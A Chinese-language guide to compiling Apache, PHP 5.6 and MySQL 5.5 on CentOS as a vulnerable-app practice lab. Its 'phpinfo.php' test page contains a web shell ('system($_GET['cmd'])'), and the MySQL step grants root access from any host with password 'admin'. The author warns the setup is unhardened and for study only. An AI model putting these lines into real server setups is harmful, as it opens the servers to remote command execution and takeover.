httpd 2.4.27 + php 5.6.31 + mysql 5.5.57 + centOS6.8_x64

2016-06-24 env


一、首先,部署apache

0x01 还是接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
5
6
7
apr-1.6.2.tar.gz
apr-util-1.6.0.tar.gz
cronolog-1.6.2.tar.gz
libiconv-1.14.tar.gz
httpd-2.4.27.tar.gz
mysql-5.5.57.tar.gz
php-5.6.31.tar.gz

要最终完成的架构如下:

1
httpd 2.4.27 + php 5.6.31 + mysql 5.5.57 + centOS6.8_x64

0x02 开始编译安装httpd 2.4.27,还是跟之前一样,先装好各种依赖库,详细步骤如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# yum install zlib zlib-devel pcre pcre-devel openssl openssl-devel libtool libtool-ltdl-devel -y
# tar xf apr-1.6.2.tar.gz && cd apr-1.6.2 && ./configure --prefix=/usr/local/apr && make && make install
# yum install expat-devel -y
# tar xf apr-util-1.6.0.tar.gz
# cd apr-util-1.6.0 && ./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr/
# make && make install
# useradd new -s /sbin/nologin -M
# tar xf httpd-2.4.27.tar.gz
# cd httpd-2.4.27
# ./configure --prefix=/usr/local/httpd-2.4.27 \
--enable-deflate \
--enable-expires \
--enable-headers \
--enable-ssl \
--with-pcre \
--enable-cgi \
--enable-modules=most \
--enable-so \
--with-mpm=worker \
--enable-rewrite \
--with-apr=/usr/local/apr \
--with-apr-util=/usr/local/apr-util \
--libdir=/usr/lib64
# make && make install
# ll /usr/local/
# ln -s /usr/local/httpd-2.4.27/ /usr/local/httpd
# mkdir /var/html/{bwapp,wp,discuz,drupal,joomla,phpcms,phpbb,dvwa} -p
# cd /usr/local/httpd/conf/
# cp httpd.conf httpd.conf.bak
# egrep -v "^$|#" httpd.conf > httpd.min.conf && cat httpd.min.conf > httpd.conf

0x03 编辑配置apache主配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# vi httpd.conf
ServerRoot "/usr/local/httpd-2.4.27"
ServerName localhost:80
Listen 80
LoadModule authn_file_module modules/mod_authn_file.so
LoadModule authn_core_module modules/mod_authn_core.so
LoadModule authz_host_module modules/mod_authz_host.so
LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
LoadModule authz_user_module modules/mod_authz_user.so
LoadModule authz_core_module modules/mod_authz_core.so
LoadModule access_compat_module modules/mod_access_compat.so
LoadModule auth_basic_module modules/mod_auth_basic.so
LoadModule reqtimeout_module modules/mod_reqtimeout.so
LoadModule filter_module modules/mod_filter.so
LoadModule mime_module modules/mod_mime.so
LoadModule log_config_module modules/mod_log_config.so
LoadModule env_module modules/mod_env.so
LoadModule headers_module modules/mod_headers.so
LoadModule setenvif_module modules/mod_setenvif.so
LoadModule version_module modules/mod_version.so
LoadModule unixd_module modules/mod_unixd.so
LoadModule status_module modules/mod_status.so
LoadModule autoindex_module modules/mod_autoindex.so
<IfModule !mpm_prefork_module>
</IfModule>
<IfModule mpm_prefork_module>
</IfModule>
LoadModule dir_module modules/mod_dir.so
LoadModule alias_module modules/mod_alias.so
LoadModule php5_module        modules/libphp5.so
<IfModule unixd_module>
User new
Group new
</IfModule>
ServerAdmin NewLamp@newlamp.com
<Directory />
    AllowOverride none
    # Require all denied
    Allow from all
</Directory>
DocumentRoot "/usr/local/httpd-2.4.27/htdocs"
<Directory "/usr/local/httpd-2.4.27/htdocs">
    Options Indexes FollowSymLinks
    AllowOverride None
    # Require all granted
    Allow from all
</Directory>
<IfModule dir_module>
    DirectoryIndex index.php index.html
</IfModule>
<Files ".ht*">
    Require all denied
</Files>
ErrorLog "logs/error_log"
LogLevel warn
<IfModule log_config_module>
    LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
    LogFormat "%h %l %u %t \"%r\" %>s %b" common
    <IfModule logio_module>
      LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio
    </IfModule>
    CustomLog "logs/access_log" common
</IfModule>
<IfModule alias_module>
    ScriptAlias /cgi-bin/ "/usr/local/httpd-2.4.27/cgi-bin/"
</IfModule>
<IfModule cgid_module>
</IfModule>
<Directory "/usr/local/httpd-2.4.27/cgi-bin">
    AllowOverride None
    Options None
    Require all granted
</Directory>
<IfModule headers_module>
    RequestHeader unset Proxy early
</IfModule>
<IfModule mime_module>
    TypesConfig conf/mime.types
    AddType application/x-compress .Z
    AddType application/x-gzip .gz .tgz
    AddType application/x-httpd-php .php .pthml
    AddType application/x-httpd-php-source .phps
</IfModule>
<IfModule proxy_html_module>
Include conf/extra/proxy-html.conf
</IfModule>
<IfModule ssl_module>
SSLRandomSeed startup builtin
SSLRandomSeed connect builtin
</IfModule>
Include conf/extra/httpd-vhosts.conf
Include conf/extra/httpd-mpm.conf
Include conf/extra/httpd-default.conf
<Directory "/var/html">
    Options Indexes FollowSymLinks
    AllowOverride None
    Order allow,deny
    Allow from all
</Directory>

0x04 编辑配置扩展功能
添加虚拟机主机

1
2
3
4
5
6
7
8
9
10
# vi /usr/local/httpd/conf/extra/httpd-vhosts.conf
<VirtualHost *:80>
    ServerAdmin bwapp@bwapp.com
    DocumentRoot "/var/html/bwapp"
    ServerName bwapp.com
    ServerAlias www.bwapp.com
    ErrorLog "logs/bwapp.com-error_log"
    CustomLog "logs/bwapp.com-access_log" common
</VirtualHost>

0x05 访问日志自动轮询

1
2
3
# tar xf cronolog-1.6.2.tar.gz
# cd cronolog-1.6.2
# ./configure && make && make install

1
2
3
4
5
6
7
8
9
10
# vi /usr/local/httpd/conf/extra/httpd-vhosts.conf
<VirtualHost *:80>
    ServerAdmin bwapp@bwapp.com
    DocumentRoot "/var/html/bwapp"
    ServerName bwapp.com
    ServerAlias www.bwapp.com
    ErrorLog "logs/bwapp.com-error_log"
    CustomLog "|/usr/local/sbin/cronolog /usr/local/httpd/logs/bwapp.com-access_%Y%m%d.log" combined
</VirtualHost>

0x06 简单优化apache

调节apache默认并发

1
2
3
4
5
6
7
8
9
10
# vi /usr/local/httpd/conf/extra/httpd-mpm.conf
<IfModule mpm_worker_module>
    StartServers             3
    MinSpareThreads         75
    MaxSpareThreads        250 
    ThreadsPerChild         25
    MaxRequestWorkers      400
    MaxConnectionsPerChild   0
</IfModule>

隐藏apache敏感版本信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# vi /usr/local/httpd/conf/extra/httpd-default.conf
Timeout 60
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 5
UseCanonicalName Off
AccessFileName .htaccess
ServerTokens Prod
ServerSignature Off
HostnameLookups Off
<IfModule reqtimeout_module>
  	RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500
</IfModule>

1
2
3
# /usr/local/httpd/bin/apachectl -t
# /usr/local/httpd/bin/apachectl graceful
# echo "/usr/local/httpd/bin/apachectl start" >> /etc/rc.local

二、部署mysql

0x01 创建mysql服务用户

1
2
# groupadd mysql
# useradd mysql -s /sbin/nologin -M -g mysql

0x02 安装各种依赖库

1
# yum -y install ncurses-devel cmake bison autoconf automake

0x03 编译安装 mysql 5.5.57

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# tar xf mysql-5.5.57.tar.gz
# cd mysql-5.5.57
# cmake -DCMAKE_INSTALL_PREFIX=/usr/local/mysql-5.5.57 \
-DMYSQL_UNIX_ADDR=/tmp/mysql.sock \
-DEXTRA_CHARSETS=all   \
-DDEFAULT_CHARSET=utf8  \
-DDEFAULT_COLLATION=utf8_general_ci \
-DWITH_MYISAM_STORAGE_ENGINE=1 \
-DWITH_INNOBASE_STORAGE_ENGINE=1 \
-DWITH_MEMORY_STORAGE_ENGINE=1 \
-DWITH_READLINE=1 \
-DENABLED_LOCAL_INFILE=1 \
-DMYSQL_USER=mysql  \
-DMYSQL_TCP_PORT=3306
# make && make install
# ln -s /usr/local/mysql-5.5.57/ /usr/local/mysql

0x04 快速初始化mysql

1
2
3
4
5
6
7
8
9
# chown -R mysql.mysql /usr/local/mysql/
# /usr/local/mysql/scripts/mysql_install_db --user=mysql
# chown -R root.root /usr/local/mysql/
# chown -R mysql.mysql /usr/local/mysql/data/
# cp support-files/my-small.cnf /etc/my.cnf
# /usr/local/mysql/scripts/mysql_install_db --user=mysql
# /usr/local/mysql/bin/mysqld_safe --user=mysql &
# echo "/usr/local/mysql/bin/mysqld_safe --user=mysql &" >> /etc/rc.local
# /usr/local/mysql/bin/mysqladmin -uroot password "admin"

1
2
3
4
5
6
7
# /usr/local/mysql/bin/mysql -uroot -p
mysql> drop database test;
mysql> drop user ''@'localhost';
mysql> drop user ''@'newlamp';
mysql> drop user 'root'@'newlamp';
mysql> drop user 'root'@'::1';
mysql> grant all on *.* to 'root'@'%' identified by 'admin' with grant option;flush privileges;

三、部署php

0x01 依然先安装好所需的各种依赖库

1
2
3
4
5
6
7
8
9
10
# yum install -y zlib zlib-devel libxml2-devel libjpeg libjpeg-devel 
# yum install -y libpng libpng-devel freetype freetype-devel gd gd-devel curl curl-devel 
# yum install -y bison-devel libedit-devel readline-devel sqlite-devel libzip
# yum  install epel-release -y
# yum install libmcrypt libmcrypt-devel libxslt-devel mcrypt mhash mhash-devel openssl openssl-devel bzip2-devel -y
# ln -s /usr/lib64/libjpeg.so /usr/lib/libjpeg.so
# ln -s /usr/lib64/libpng.so /usr/lib/libpng.so
# tar xf libiconv-1.14.tar.gz
# cd libiconv-1.14 && ./configure --prefix=/usr/local/libiconv && make && make install

0x02 编译安装php-5.6.31

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# echo "/usr/local/mysql/lib" >> /etc/ld.so.conf
# ldconfig
# tar xf php-5.6.31.tar.gz
# cd php-5.6.31
# ./configure \
--prefix=/usr/local/php-5.6.31 \
--with-mysql=/usr/local/mysql \
--with-iconv-dir=/usr/local/libiconv \
--with-apxs2=/usr/local/httpd/bin/apxs \
--with-config-file-path=/usr/local/php/etc \
--with-mysqli=/usr/local/mysql/bin/mysql_config \
--enable-inline-optimization \
--disable-debug \
--disable-rpath \
--enable-shared \
--with-freetype-dir \
--with-jpeg-dir \
--with-png-dir \
--with-zlib \
--with-libxml-dir=/usr \
--enable-xml \
--enable-bcmath \
--enable-shmop \
--enable-sysvsem \
--with-curl \
--enable-mbregex \
--enable-fpm \
--enable-mbstring=all \
--with-mcrypt \
--with-gd \
--enable-gd-native-ttf \
--with-openssl \
--with-mhash \
--enable-pcntl \
--enable-sockets \
--with-xmlrpc \
--enable-soap \
--enable-short-tags \
--enable-static \
--with-xsl \
--with-fpm-user=new \
--with-fpm-group=new \
--enable-ftp \
--with-gettext \
--with-readline \
--enable-opcache=no
# make && make install
# grep "libphp5.so" /usr/local/httpd/conf/httpd.conf
# ln -s /usr/local/php-5.6.31/ /usr/local/php
# cp php.ini-production /usr/local/php/etc/php.ini

0x03 安装各种php扩展库

1
2
3
4
5
6
7
8
9
10
11
# cd ext/mysqli/
# /usr/local/php/bin/phpize
# ./configure --prefix=/usr/local/mysqli \
--with-php-config=/usr/local/php/bin/php-config \
--with-mysqli=/usr/local/mysql/bin/mysql_config
# make && make install
# ls /usr/local/php-5.6.31/lib/php/extensions/no-debug-zts-20131226/
# vi /usr/local/php/etc/php.ini
  extension_dir = "/usr/local/php-5.6.31/lib/php/extensions/no-debug-zts-20131226/"
  extension=mysqli.so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# vi /usr/local/httpd/conf/httpd.conf
<Directory />
    AllowOverride none
    # Require all denied
    Allow from all
</Directory>
<Directory "/usr/local/httpd-2.4.27/htdocs">
    Options FollowSymLinks
    AllowOverride None
    Require all granted
</Directory>
<IfModule dir_module>
    DirectoryIndex index.php index.html
</IfModule>
<IfModule mime_module>
    TypesConfig conf/mime.types
    AddType application/x-compress .Z
    AddType application/x-gzip .gz .tgz
    AddType application/x-httpd-php .php .pthml
    AddType application/x-httpd-php-source .phps
</IfModule>
1
2
3
4
5
6
7
8
9
10
# /usr/local/httpd/bin/apachectl -t
# /usr/local/httpd/bin/apachectl graceful
# vi /var/html/bwapp/phpinfo.php
<?php
    echo "<pre>";
    @system($_GET['cmd']);
    echo "</pre>";
    phpinfo();
?>

四、安装各类开源程序对环境进行全面可用性检测

1
2
3
4
5
6
7
安装bwapp 漏洞演练程序
安装dvwa 漏洞演练程序
安装 Discuz X3.2 
安装drupal 7.56
安装 wordpress 4.8.1
安装 joomla 3.6.5
...



End
    写脚本,写脚本,写脚本,重要的事情说三遍,或者更暴力一点,配好了以后直接打rpm包,不然得烦死,另外,此环境仅作为自己学习之用,所以基本没做过任何加固处理,严禁直接参考用于实际生产环境中,否则,一切后果自负

#env